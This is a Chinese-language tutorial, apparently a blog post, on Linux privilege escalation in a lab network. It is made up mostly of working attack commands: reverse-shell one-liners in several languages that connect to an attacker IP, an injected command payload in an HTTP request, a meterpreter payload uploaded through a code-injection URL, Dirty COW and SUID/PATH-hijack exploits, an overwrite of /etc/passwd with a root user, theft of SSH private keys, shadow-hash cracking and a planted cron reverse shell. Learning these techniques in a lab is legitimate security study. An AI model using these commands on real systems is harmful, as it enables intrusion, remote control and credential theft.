Linux提权

Linux提权基础

本章节虚拟机配置
kali2023    192.168.100.102
Ubuntu01    192.168.100.101
Ubuntu15.5  192.168.100.103
Ubuntu   	192.168.100.104

1、常用命令

uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表

ps -ef # 查看所有进程
top # 实时显示进程状态
 
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务

chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务

echo $PATH #查看系统路径

2、反弹shell命令

反弹shell的一个作用是穿透一些防火墙,因为是里面主动连接外面,防火墙不会拦截。

使用nc对本地端口监听

nc -lvnp 8888

在这里插入图片描述

1.bash反弹

bash -i >& /dev/tcp/ip_address(nc主机IP)/port 0>&1

bash -i >& /dev/tcp/192.168.100.102/8888 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.100.102/8888 0>&1"

在这里插入图片描述

在这里插入图片描述

2.nc反弹

nc -e /bin/sh 192.168.100.102 8888
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.102 8888 >/tmp/f

在这里插入图片描述

在这里插入图片描述

3.python (?????)

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.100.102" , 8888 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

4.php反弹shell

php -r '$sock=fsockopen("192.168.100.102",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

在这里插入图片描述

5.ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("192.168.100.102",8888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6.Java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

7.xterm反弹shell

xterm -display 10.0.0.1:1
POST /cmd.php HTTP/1.1
Host: 192.168.0.124
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101
Firefox/92.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.100.102+8888+>/tmp/f');

3、python调用本地shell实现交互式命令行

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

使用su命令 提示错误

在这里插入图片描述

4、Linux反弹shell解决乱码

在反弹回来的shell中输入方向键会出现乱码情况,并且使用tab键不会自动补全,如下

在这里插入图片描述

首先在监听之前使用bash shell (默认是zsh shell)

bash

反弹回来shell之后按ctrl+z 放置后台任务

然后设置原始格式

stty -echo raw

输入fg调用后台任务

在这里插入图片描述

注:终端要使用bash反弹,不可使用php等反弹

Linux提权方法

1、Linux内核漏洞提权

通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限

内核溢出提权

思想

先拿到shell之后通过信息收集方式得知linux内核版本,使用searchspolit搜索相应版本漏洞

实例操作

利用堆栈溢出漏洞,根据当前系统, 寻找对应的漏洞的exp ,使用exp对其进行提权。

首先进行监听,如下

在这里插入图片描述

uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a

根据linux的内核版本去找对应的exp

searchsploit -t Ubuntu 14.04   #-t选项可以精确搜索漏洞标题中包含特定关键词的记录
searchsploit -s Ubuntu 14.04   #-s选项进行严格匹配,确保输入的关键词在结果中完全匹配
searchsploit -s Linux Kernel 3.13.0

在这里插入图片描述

然后查看描述,输入以下指令,就会显示exp,按q退出

searchsploit -x linux/local/37292.c 

在这里插入图片描述

把该exp复制到当前目录下

在这里插入图片描述

接下来kali开启80端口

sudo python3 -m http.server 80  #使用Python 3启动HTTP服务器,默认端口为8000

在这里插入图片描述

查看目标机器有没有gcc编译器,假如没有gcc的话可以在本地进行编译后进行传递

gcc -v

在这里插入图片描述

复制该文件的链接

在这里插入图片描述

在shell中下载该exp

wget http://192.168.100.102/37393.c -o /tmp/37393.c     #-o表示保存的地址

在这里插入图片描述

编译该文件

gcc 37393.c -o exp   #-o指定编译后的文件名

添加执行权限

chmod +x exp 或 chmod 777 exp   #将文件权限设置为777,即所有用户都有读、写和执行的权限

执行exp

./exp

在这里插入图片描述

脏牛提权 CVE-2016-5195

思想

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。利用只读文件映射区域写数据时,会使用get_user_page内核函数处理产生一个映射文件的复制(COW), 对此区域的任何修改都不会写回原来的文件,但这里通过条件竞争就能使其任务执行顺序异常,就会成功的写到原来的文件中。 比如我们修改su或者passwd程序就可以达到提权root的目的

实例操作

测试环境 ubuntu 14.04

在靶场上新建普通用户 moon123 密码 456789

在这里插入图片描述

kali攻击机上下载exp https://github.com/Brucetg/DirtyCow-EXP

git clone https://github.com/Brucetg/DirtyCow-EXP

在shell中下载该exp

wget http://192.168.100.102/DirtyCow-EXP/Linux/dirtycow

添加执行权限

chmod +x dirtycow

运行

./dirtycow /etc/group "$(sed '/\(sudo*\)/ s/$/,moon456/' /etc/group)"

在这里插入图片描述

切换到moon456用户,发现已经加入到sodu组,具有root权限

另一种脏牛提权的方式是将原来的root用户删掉了,重新创建了一个新的超级管理员用户,叫做firefart。我们切换到这个用户下,就可以执行任意系统指令了

2、metasploit Linux 提权

思想

使用模块查询漏洞,也可以根据系统版本寻找exp

实例操作

生成攻击载荷

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.100.102 LPORT=12345 -f raw > msf.php  (kali的端口)

在这里插入图片描述

kali开启http服务

sudo python3 -m http.server 80

在这里插入图片描述

将该攻击载荷上传到目标主机中

http://192.168.100.104/code/code02.php?data=file_put_contents('../tmp/m.php',file_get_contents('http://192.168.100.102/msf.php'));

192.168.100.104/code/code02.php?data=system('ls -al ../tmp');

在这里插入图片描述

在这里插入图片描述

kali本地监听

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.100.102
set lport 12345
exploit

访问目标主机的m.php文件,便会反弹shell,获取一个session

在这里插入图片描述

在这里插入图片描述

getuid 查看当前用户

sysinfo 查看系统版本

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester

在这里插入图片描述

如果使用模块找不到exp,也可以根据系统版本寻找exp

下载exp,再编码、增加执行权限、运行

cd /tmp
wget https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp

如果成功就会得到一个root

msf反弹的shell中,使用python调用本地shell实现交互式命令行,可能还会出现乱码,再用4中的方法解决乱码

3、suid提权

思想

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。

实例操作

kali做一下监听

本地访问目标机器Ubuntu01的cmd.php文件,抓个包,把GET请求方法改为POST,在包后加入攻击代码

cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.100.102+8888+>/tmp/f');

在这里插入图片描述

kali便会反弹shell,切换shell(3的方法),解决乱码

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

在这里插入图片描述

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

可以查看find命令的权限

ls -al /usr/bin/find

在这里插入图片描述

带有这个s说明具有root权限

输入以下命令进行提权

find . -exec /bin/sh -p \; -quit

在这里插入图片描述

常见suid提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
https://gtfobins.github.io/
这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限

4、passwd提权

思想

将目标主机上的/etc/passwd文件复制下来,利用OpenSSL passwd生成一个具有root权限的新用户,将新用户添加到/etc/passwd中,再将目标主机的/etc/passwd文件覆盖

实例操作

kali攻击机已经反弹回目标主机Ubuntu01主机的shell(步骤略)

将目标主机的/etc/passwd文件内容全部复制

在这里插入图片描述

创建一个名为passwd的文件,粘贴

在这里插入图片描述

在kali上通过OpenSSL passwd生成一个新的用户hacker,密码为hack123

openssl passwd -1 -salt hacker 123456

生成$1$hacker$6luIRwdGpBvXdP.GMwcZp/

在这里插入图片描述

hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:/root:/bin/bash追加到kali新建的passwd文件中

在这里插入图片描述

在Kali上启动一个python服务器

python -m SimpleHTTPServer 80
或
sudo python3 -m http.server 80

在目标主机的shell里输入以下指令,将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget http://192.168.100.102/passwd -O /etc/passwd

在这里插入图片描述

目标主机的/etc/passwd文件已经被替换

注:这里最关键的一步就是对目标主机的/etc/passwd文件具有权限sudo chmod 777 /etc/passwd

然后切换到hacker用户即可,提权成功!

su命令 切换用户

su hacker

在这里插入图片描述

除了使用su切换用户,也可使用ssh远程登录

ssh hacker@192.168.100.101

在这里插入图片描述

5、ssh密钥提权

思想

运维人员如果在服务器上使用ssh-keygen生成密钥对(id_rsa、id_rsa.pub),然后采用此密钥对进行远程登录,那么当他忘记把私钥(id_rsa)删除,且文件权限可读,黑客就可以使用这个私钥进行用户登录,达到用户水平越权或者权限提升到root。

实例操作

kali攻击机已经反弹回目标主机Ubuntu01主机的shell(步骤略)

(1) 使用命令查看系统中存在用户

cat /etc/passwd | grep bash

在这里插入图片描述

(2) 搜索密钥文件

find / -name authorized_keys    #注:”authorized_keys“文件用来登录的公钥验证文件

在这里插入图片描述

跳转到/home/web1/.ssh目录

cd /home/web1/.ssh

在这里插入图片描述

(3) 对比存在的公钥与“authorized_keys”文件是否相同

cat authorized_keys
cat id_rsa.pub

在这里插入图片描述

可以看到两个文件内容相同,说明是用这对密钥对进行远程登录

也可以使用md5sum来检查两个文件内容是否相同

md5sum authorized_keys
md5sum id_rsa.pub

在这里插入图片描述

(4) 拷贝私钥到本地进行远程登录

将id_rsa下载到本地,重新给密钥权限,使用私钥登录

cat /home/web1/.ssh/id_rsa
chmod 600 id_rsa  #将文件权限设置为600,即只有文件的所有者具有读写权限,其他所有用户都没有任何权限

在这里插入图片描述

在这里插入图片描述

登录

ssh -i id_rsa web1@192.168.100.101
##
ssh -i 参数用于指定一个私钥文件,以便在通过 SSH 连接到远程服务器时进行身份验证。这个参数特别适用于使用密钥对(公钥和私钥)进行身份验证的情况,而不是使用密码
ssh -i <私钥文件路径> <用户名>@<远程服务器地址>

在这里插入图片描述

注:如果目标机器的.ssh目录有写权限,我们也可以在本地生成公私钥,将公钥上传到.ssh目录,然后在本地进行私钥登录

6、环境劫持提权

如果我们找到一个 suid 权限的程序,但是我们无法完成 suid 提权,就可以试试搭配环境变量进行提权.

思想

找到有 suid 的,内部有 system 函数调用未指定路径的命令的文件。同时用户有修改自己环境变量的权限,就可以通过劫持 system 函数里调用的脚本文件,使其指向环境变量里自行创建的一个同名脚本文件,那么这个自行创建的同名脚本文件就能以 root 权限运行了,如果这个脚本文件里的命令是 /bin/bash,那么就相当于提权了

`bash`,即Bourne Again SHell,是对Bourne Shell的扩展。它提供了命令行编辑、程序执行、脚本执行等功能,是Linux系统中默认的Shell之一。用户可以通过bash来执行命令、管理文件和目录,以及编写和执行shell脚本

环境劫持需要的两个条件

  • 存在带有suid的文件
  • suid文件存在系统命令

实例操作

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令(查看进程的命令),如下

在这里插入图片描述

在这里插入图片描述

这个二进制文件运行的时候一定是调用了ps命令

在/shell目录下也可以看到shell的源代码demo.c,如下

在这里插入图片描述

在/tmp目录下创建ps文件,里面使用 /bin/bash执行命令

把tmp的路径添加到当前环境路径,再访问 /script目录,执行shell文件,运行的时候首先会采用/tmp目录的ps文件作为命令

所以可以劫持root命令执行

cd /tmp
echo "/bin/bash" > ps  #创建一个PS文件,内容是/bin/bash
chmod 777 ps
echo $PATH     #打印当前的 路径
export PATH=/tmp:$PATH  #把tmp的路径添加到当前环境路径
cd /script
./shell

在这里插入图片描述

7、john破解shadow root密文登录

思想

John the Ripper是一个密码破解工具,它可以用来尝试密码字典来破解密码。它不直接用于提权,但可以在提权后用来尝试密码。

实例操作

提权过后可以访问文件/etc/shadow

在这里插入图片描述

将shadow root密文保存在本地新建文件up中

在这里插入图片描述

将kali主机上的/usr/share/wordlists文件夹中的rockyou.txt.gz解压出来

cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz    # gzip -d 将文件rockyou.txt.gz解压缩为原始文件,并删除压缩文件

在这里插入图片描述

john会自动检测密文类型 --wordlist 字段文件

john --wordlist="/usr/share/wordlists/rockyou.txt" up   
root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYc
t1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::

可以看到root的密码已经破解出来

在这里插入图片描述

8、Ubuntu计划任务反弹shell提权

思想

主要通过查看是否有高权限账号在定时执行某个脚本任务,如果有,那么可利用命令查看具体路径;我们就可以重新通过这个脚本编写自己的反弹shell,从而达到获取root权限

实例操作

当获取一个linux普通用户后,查看计划任务

cat /etc/crontab

在这里插入图片描述

查看当前用户计时器设置

crontab -l 

在这里插入图片描述

/var/spool/cron/crontabs/root 这个目录是root任务文件 默认不是root权限是看不到的

在这里插入图片描述

使用tail命令可以实时查看日志文件的末尾内容

tail -f /var/log/syslog

在这里插入图片描述

查看日志文件 发现root每一分钟会执行一次 cleanup.py文件

查看该文件的权限

ls -al /script/cleanup.py

修改内容 反弹shell

vim /script/cleanup.py
bash -i >& /dev/tcp/192.168.100.102/6666 0>&1

在这里插入图片描述

本地监听 nc -lvnp 6666

在这里插入图片描述

9、提权脚本应用

LinEnum

LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。

主要功能:
1.内核和发行版本
2.系统信息:
主机名
3.网络信息:
IP
路由信息
DNS服务器信息
4.用户信息:
当前用户信息
最近登录用户
枚举所有用户,包括uid/gid信息
列举root账号
检查/etc/passwd中的hash
当前用户操作记录 (i.e .bash_history, .nano_history etc.)
5.版本信息:
Sudo
MYSQL
Postgres
Apache

下载链接:

https://github.com/rebootuser/LinEnum
实例操作

shell中下载执行

wget -O - http://192.168.100.102/LinEnum.sh | bash

也可以先下载到本地,再执行
wget http://192.168.100.102/LinEnum.sh
sh LinEnum.sh

也可将执行结果输出到本地文件中
sh LinEnum.sh >1.txt   

注:>  用于将输出重定向到文件,如果文件已存在,则会覆盖它。
   >> 用于将输出追加到文件的末尾,如果文件存在,则不会覆盖它。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

linuxprivchecker

Linuxprivchecker.py 是一个专为Linux系统设计的本地权限提升检测脚本,这个脚本的目标是枚举基础系统信息并寻找常见的权限提升漏洞,如世界可写文件、配置错误、明文密码以及适用的攻击向量。它旨在帮助用户识别潜在的安全问题,而不是直接提供解决方案或进行恶意利用。

脚本下载

https://github.com/sleventyeleven/linuxprivchecker
https://github.com/swarley7/linuxprivchecker   #python3版本
实例操作

shell中下载

wget http://192.168.100.102/linuxprivchecker/linuxprivchecker.py

在这里插入图片描述

执行

python3 linuxprivchecker.py

在这里插入图片描述

在这里插入图片描述

linux-exploit-suggester2

Linux Exploit Suggester 2是一个基于原始的Linux_Exploit_Suggester的下一代漏洞利用建议器,是一款用于寻找Linux操作系统特权升级漏洞的脚本。通过查询大量已知的exploit数据,它可以为特定内核版本提供可能的攻击路径,帮助安全研究人员或红队成员在实战环境中迅速定位目标系统的关键弱点

脚本下载

https://github.com/jondonas/linux-exploit-suggester-2
实例操作

shell中下载

wget http://192.168.100.102/linux-exploit-suggester-2.pl

在这里插入图片描述

自动检测

perl linux-exploit-suggester-2.pl

指定版本

在这里插入图片描述

访问链接查看exp使用方式

10、docker提权

思想

最重要的一点是web1是docker的用户组,用docker创建容器的时候把目录挂载到宿主的根目录,因此可以访问宿主的根目录,那么就可以访问宿主的敏感文件

实例操作

输入命令idgroup 查询当前用户信息和组信息 发现存在docker组

在这里插入图片描述

输入命令下载使用容器,把容器的目录挂载到宿主的根目录

docker run -v /:/mnt -it alpine

#指定了 -v /:/mnt 这样的卷挂载参数,将宿主机的根目录(/)挂载到了容器内的 /mnt 目录
#-it alpine 告诉 Docker 以交互模式启动一个 Alpine Linux 容器,并分配一个终端以便你可以与容器进行交互
#docker会在网上自动下载aiplne这个镜像

注意:出现“the input device is not a TTY”错误需要使用调用本地shell实现交互式命令行

若靶机上有alpine镜像和容器,可以先删除,如下

在这里插入图片描述

访问宿主的/etc/shadow

cat /mnt/etc/shadow

在这里插入图片描述

Linux 提权之 Docker 用户组提权 - hello_bao - 博客园 (cnblogs.com)

docker提权和lxd提权原理相似

11、sudo提权

思想

sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。

首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。

实例操作

列出目前用户可执行与无法执行的指令:

sudo -l

在这里插入图片描述

可以看到可以使用root特权下的cat命令,所以可以读取任何文件。NOPASSWD,不需要密码,使用cat命令,并且具有特权权限。

在这里插入图片描述

通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组

然后在/etc/sudoers文件内进行设置

首先设置 chmod +w cat /etc/sudoers ,使用vi对其编辑,保存即可

# User privilege specification
root ALL=(ALL:ALL) ALL
moonsec ALL=(root) NOPASSWD:/bin/cat
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:

12、Linux mysql udf 提权

思想

UDF提权是一种通过在mysql数据库中添加用户自定义函数(UDF)来执行系统命令,从而提升权限的方法。这种技术允许攻击者通过编写特定的UDF文件,将其上传到目标MySQL服务器,并通过调用这些函数来执行任意命令,进而提升权限。‌

实例操作

反弹shell后登录mysql

mysql uroot -p 123456

查看插件目录

show variables like '%plugin%';

在这里插入图片描述

查看该目录是否有写权限

ls -al /usr/lib/mysql/plugin/

在这里插入图片描述

将该文件进行解码

在这里插入图片描述

在kali中用该py文件将上图文件进行解码

在这里插入图片描述

cd /usr/share/sqlmap/extra/cloak/
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so #进行解码
cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ ~/Desktop  #将解码后的文件复制到桌面
wget http://192.168.100.102/lib_mysqludf_sys.so  #在shell中将kali攻击机上的解码后的文件下载

登录mysql

mysql uroot -p 123456
use mysql;

创建函数

create function sys_exec return strings soname "lib_mysqludf_sys.so";

执行命令,查看id

select sys_eval('id');  #sys_eval()执行系统命令函数

在这里插入图片描述

UDF提权需要满足以下条件:

  • 获取mysql的控制权,知道账号密码并且能够登录上
  • 具有读写权限:secure_file_priv的值必须为空,否则无法提权
  • mysql服务以root用户运行,否则提权后仍然是普通用户

提权失败可能的原因

1.plugin 不存在 或者 没权限写入文件

2.lib_mysqludf_sys.so文件 版本不对 (有64位和32位的)

3.mysql权限设置错误

$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

13、切换用户提权

思想

使用另一个用户的sudo特权权限

实例操作

如下,moonsec用户拥有cat命令的特权权限

在这里插入图片描述

在这里插入图片描述

在moonsec用户下

cd /tmp
vi 1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1001,1001); #moonsec用户的id
execve("/bin/sh",NULL,NULL);
}

在这里插入图片描述

gcc 1.c -o 1

在这里插入图片描述

chmod u+s 1   #加一个suid

在web1用户下

cd /tmp
./1   #执行文件
bash

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值